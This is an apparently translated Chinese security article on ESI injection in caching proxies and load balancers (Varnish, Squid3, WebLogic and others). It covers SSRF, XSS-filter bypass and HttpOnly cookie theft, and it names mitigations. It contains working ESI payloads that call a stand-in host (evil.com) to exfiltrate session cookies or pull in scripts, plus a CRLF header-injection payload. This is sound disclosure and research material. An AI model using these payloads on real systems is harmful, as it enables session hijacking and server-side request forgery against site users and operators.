ESI注入:利用缓存服务形成的SSRF和其它客户端形式渗透
作者:admin | 时间:2018-4-22 17:42:55 | 分类:黑客技术 隐藏侧边栏展开侧边栏
Edge Side Includes (ESI)标记语言主要用于各种流行的HTTP代理中(如反向代理、负载均衡、缓存服务器、代理服务器)解决网页缓存问题。早前我们在进行安全评估时发现了Edge Side Includes (ESI) 的一个异常行为,经测试后发现,对ESI的成功利用可形成SSRF、绕过HTTPOnly cookie标记的XSS攻击和服务端的拒绝服务攻击,我们把ESI的这种利用技术称为 ESI 注入(ESI Injection)。
ESI注入漏洞涉及的应用产品
通过验证,我们发现十多种支持ESI的应用,如Varnish,Squid Proxy,IBM WebSphere,Oracle Fusion / WebLogic,Akamai,Fastly,F5,Node.js ESI,LiteSpeed等其它一些特定的语言插件,这些应用或插件如果启用ESI功能之后,就会存在ESI注入漏洞风险。
Edge Side Includes (ESI) 介绍
ESI标记语言主要基于一个XML标签集,被用在很多流行的HTTP代理中来解决高负荷的网页缓存问题,ESI标签用于指引反向代理(或缓存服务器)获取缓存中待取的网页内容信息,在客户端发起请求之前,这些内容信息也有可能来自其它服务器中,而且这些缓存页面中还包含了动态内容。
ESI使用简单的标记语言来对网页中可以加速和不能加速的内容片断进行描述,最终每个网页都可被划分成不同片段部分,并赋予了不同的缓存控制策略,使缓存服务器可以根据缓存策略,在将完整的网页发送给用户之前能将不同的片段部分动态地组合在一起。通过这种控制方式,可以有效地减少从服务器抓取整个页面的次数,而只用从原服务器中提取少量的不能缓存的片断,因此可以有效降低服务器的负载,同时提高用户访问的响应时间。ESI多在缓存服务器或代理服务器上执行。
ESI技术的一个常见用例是处理包含动态内容的静态页面,开发者可使用ESI标签替换页面中的动态部分来增加缓存的灵活性,因此,当页面被请求时,ESI标签就会代理被获取处理,确保了后端应用服务器的性能。
下图天气预报页面就是ESI技术的一个典型用例,天气预报网站缓存了一个城市的天气页面内容,其中的动态数据会被各自的ESI标签替换并指向一个API服务端URL,缓存和动态内容共同构成了实时的天气状况:
ESI语法非常简单,上面这个天气预报示例的HTML文件是这样形式的:
<body> <b>The Weather Website</b> Weather for <esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" /> Monday: <esi:include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" /> Tuesday: <esi:include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" /> […]
最早的ESI规范可追溯到2001年,那时ESI应用到每种程序中的定义都各自不同,每种产品中的功能也各有特色,有些还存在功能缺失。可以参考原始的ESI规范定义,它描述了标记语言的各种功能应用,而很多应用厂商后来在其中增加了更多的功能。
ESI注入漏洞的原因所在
在上游服务器响应的和恶意攻击者注入HTTP的ESI标签之间,HTTP代理是不能区分合法ESI标签的,也就是说,如果攻击者能成功把ESI标签注入到HTTP响应内容中后,代理就会通过评估解析,认为它们是来自上游服务器响应的合法ESI标签。
ESI解析器在处理ESI标签时,小于号<和>大于号之间的字符不会被编码或转义,如今,Web应用服务器会转义一些用户输入的特殊字符以防止XSS攻击,虽然这样能有效阻止代理解析后返回的ESI标签语义,但有时候ESI标签可以注入到非HTML形式的HTTP响应内容中去。
实际上,现在ESI的新功能能使开发者将动态内容添加到其它缓存或静态数据源中,如JSON对象和CSV对象等。ESI+JSON对象的处理方式,可参考此处文章,其中演示了JSON对象中的ESI解析器通过配置处理ESI标签的过程。
由于现在的应用框架都会把转义过程语境化,API服务端在JSON属性中包含HTML形式的字符串并不少见,因为这些信息不会被浏览器当做HTML解析。然而,这也使得攻击者可以用信息传输过程中代理能解析的ESI标签去注入到JSON响应的输入中,形成毒化。
上述场景比较少见,大多数的攻击途径是是后端服务器会解析ESI标签,然后通过启用了ESI的负载均衡或者代理进行处理。显然,如果用户的输入要经过过滤审查,那么就可以有效缓解XSS攻击,且ESI标签也会被编码且不会被代理处理解析。
ESI注入的危害
服务端请求伪造(SSRF)
无疑,最常见也是最有用的功能可能要数includes标签了,能被代理或者负载均衡处理解析ESI include标签可执行HTTP请求获取动态内容。如果攻击者在HTTP响应中添加进入一个ESI标签,这种组合形式就能导致代理服务器环境(不是应用服务器)中的SSRF攻击。
如以下的Payload可在HTTP代理中实现SSRF攻击:
<esi:include src=”http://evil.com/ping/” />
如果能得到一个HTTP回调,则代理服务器就可能存在ESI注入漏洞。ESI的实现各不相同,有些支持ESI的服务器不允许未经白名单策略过滤的主机中产生的includes标签,这就意识着只能对一台服务器执行SSRF攻击,这个知识会在下文的‘实现方式差异’部份进行讨论。现在,我们先来看看用ESI标签来实现SSRF攻击的流程:
1 攻击者利用ESI payload通过中间的代理服务器向后端服务器发起请求,并试图让后端服务器对该payload有所响应;
2 代理服务器接收到请求后转发给适合的后端服务器;
3 适合的后端应用服务器对ESI payload有所响应,并将响应返回给代理服务器;
4 代理服务器收到ESI payload的响应后,确定是否存在ESI标签,代理服务器解析存在的ESI标签,并执行对恶意服务器evil.com的请求
5 代理服务器接收到来自恶意服务器evil.com的请求,并把它添加到后端服务器的初始响应中;
6 代理服务器把完整响应内容返回给客户端。
绕过客户端XSS过滤机制
客户端XSS过滤机制一般通过请求输入和响应输出的比较来运行,当某些GET参数在HTTP响应中出现时,浏览器会启动安全过滤措施来识别是否存在XSS payload 攻击,如果浏览器识别到payload为HTML为Javascript,那么这种攻击就会被阻止。
然而,由于Chrome浏览器的XSS防护机制不会识别ESI标签,因此ESI标签根本不可能在客户端被处理执行。在经过一些ESI技巧处理之后,能把一些XSS payload分配到ESI引擎的变量中,然后就能把它们返回显示。
在发往浏览器之前,ESI引擎会在服务器端创建恶意的Javascript payload,通过这种构造方式,由于发往服务端的输入不会向发往浏览器那样返回响应,所以能绕过XSS过滤机制,以下就是类似的一段payload:
x=<esi:assign name=”var1″ value=”‘cript’”/><s<esi:vars name=”$(var1)”/>
>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name=”$(var1)”/>>
<esi:assign> 运算符指定一个任意值储存在服务器端的ESI变量中,该变量可通过$(variable_name)操作符被获取,在前述的例子中,var1 用来储存‘cript’值,通过组合调用,该值最终会变为有效的一个HTML标签<script>被解析,最终可显示响应的payload则是这样的:
<script>alert(/Chrome%20XSS%20filter%20bypass/);</script>
某些ESI实现不支持ESI变量,当然也就无法用这种方式来利用,当includes标签可用时,则可以把includes标签指向一个包含有XSS payload的外部域,如下即为一个典型的利用ESI includes标签从SSRF过渡到XSS攻击的示例:
poc.html:
<script>alert(1)</script>
然后,向页面的ESI includes中注入ESI 标签:
GET /index.php?msg=<esi:include src=”http://evil.com/poc.html” />
绕过HttpOnly Cookie标记
按照设计,如代理和负载均衡器的HTTP代理能访问到完整的HTTP请求和响应,这其中包括浏览器或服务器发送的所有cookie,ESI规范中的一个有用功能就是定义了能访问ESI标签内传输的cookie,这也就使得开发者能在ESI引擎中引用cookie,这种具备状态性的cookie信息会带来更多的灵活性。
然而,这种功能也产生了一个重要的攻击向量:cookie exfiltration(cookie 渗漏),现有针对cookie窃取的一个对策是在Javascript引擎下使用HTTPOnly标记,这种标记在cookie创建时被定义,会阻断Javascript引擎对cookie和其变量值的访问获取,防止cookie窃取形式的XSS攻击。由于ESI是在服务器端被处理,当上游服务器向代理服务器传输cookie时,可以利用这些cookie。一种攻击途径就是使用ESI includes标签对URL中的cookie进行窃取或渗漏。例如以下payload正在被ESI运行处理:
<esi:include src=”http://evil.com/?cookie=$(HTTP_COOKIE{‘JSESSIONID’})” />
在攻击者控制的恶意服务器 evil.com的HTTP日志中,攻击者可以看到如下信息:
127.0.0.1 evil.com – [08/Mar/2018:15:20:44 - 0500] “GET /?cookie=bf2fa962b7889ed8869cadaba282 HTTP/1.1″ 200 2 “-” “-”
通过这种不用Javascript参与的方式,HTTPOnly cookie就能被窃取或渗漏。
实现方式差异
之前提过,ESI的实现在不同的应用产品中存在差异,同种方式的同种功能可能在其它产品中则不能实现,以下是经我们测试的,存在可利用ESI发起攻击的一些软件产品效果:
表格中的各属性如下:
Includes:该列描述了ESI 引擎对<esi:includes>操作的实现情况
Vars:该列描述了ESI 引擎对<esi:vars>操作的实现情况
Cookie:该列描述了ESI 引擎对cookie的访问情况
Upstream Headers Required:该列描述了ESI 引擎是否需要上游服务器标记头,除非标记头是由上游服务器提供,否则代理服务器是不会处理ESI声明语句的。
Host Whitelist:该列描述了ESI includes标记是否只适用于实行白名单策略的服务器端主机,如果该项为真,则ESI includes
以下部份是关于一些厂商软件产品功能和ESI注入实现的实际用例:
Squid3
如我们发现的与Squid3相关的CVE-2018-1000024 和 CVE-2018-1000027,在Squid3环境下,可以利用以下payload对cookie进行窃取渗漏:
<esi:include src=”http://evil.com/$(HTTP_COOKIE)”/>.
Varnish Cache
攻击者可在一些JSON API 或图片的传输交换中注入ESI标签,例如在资料简介的图片上传功能中添加进ESI标签,服务器端解析之后就返回响应,形成ESI注入。
另外,攻击者可利用X-Forwarded-For 和 JunkHeader两个HTTP标记头,用以下ESI payload形成SSRF攻击:
<esi:include src=”http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/“/>
发出的ESI includes标记请求如下:
GET / HTTP/1.1
User-Agent: curl/7.57.0
Accept: */*
Host: anything.com
X-Forwarded-For: 127.0.0.1
JunkHeader: JunkValue
X-Forwarded-For: 209.44.103.130
X-Varnish: 120
另外,我们还在Akamai ESI Test Server 、Fastly、NodeJS’ ESI、NodeJS’ nodesi等多种产品和应用中成功实现了ESI注入攻击的漏洞测试。
如何检测ESI注入
一些代理产品会在Surrogate-Control HTTP header标记头中加入ESI处理机制以实现验证识别,该标记头可用于告知上游服务器ESI标签在响应内容中的存在情况,以备进行一些相应的解析操作。如果你发现一个像这种的HTTP标记头响应内容:Surrogate-Control: content=”ESI/1.0”,那说明处理流程中可能存在启用ESI的架构。
但是,大多数代理和负载均衡器在把响应发送到客户端之前,都会移除掉header标记头,有些代理也甚至不需要Surrogate-Control headers标记头。因此,这种ESI判断方式也不全适用。鉴于ESI 实现的功能选择较为广泛,目前还没有一种技术可以用来检测发现ESI注入。唯一较为全面的方法可能就是通过对各种ESI payload进行测试,总结出其中的各种威胁特征,以此来识别ESI注入。例如,ESI includes可用来对攻击者控制的服务器执行SSRF,但是有些环境下的实现却需要是白名单主机才行。
ESI的行业性应用隐患
本质上来说,ESI是一个过时的规范定义,但出乎意料的是,它竟然还被广泛用于一些流行的缓存系统中用来实现某些特定功能,虽然我们分析的一些产品中,大部分ESI功能都是默认禁用的,但还是存在一些ESI直接可用的产品应用,如IBM WebSphere、Squid3、Oracle Fusion/WebLogic、F5以及LiteSpeed。
解决方法
ESI注入对用户输入审查不当的后果,当具备ESI功能的代理去解析未经过滤的用户输入时,就会产生ESI注入攻击。通常来说,针对一些XSS的防护措施或框架都能有效对ESI注入有所防御,但实际来说,主要原因还在于ESI规范中对安全性的考虑不足。
如前所述,可以通过将ESI includes可利用的域或主机列入白名单来部分缓解这种安全威胁,而且,作为软件供应商,也至少应该明确警告用户启用ESI功能可能会带来的风险。
总结
我们通过ESI功能在缓存服务和开源应用中的漏洞利用,测试演示了一种之前从未公开过的攻击途径,最终实现了Cookie渗漏、SSRF和客户端XSS过滤绕过,在此过程中,我们也对这种漏洞利用技术的条件和Payload进行了解释说明,希望这种思路能对漏洞挖掘者有所帮助,同时也借此引起安全社区和产品供应商对ESI功能的重视。
*参考来源:gosecure,FreeBuf小编clouds编译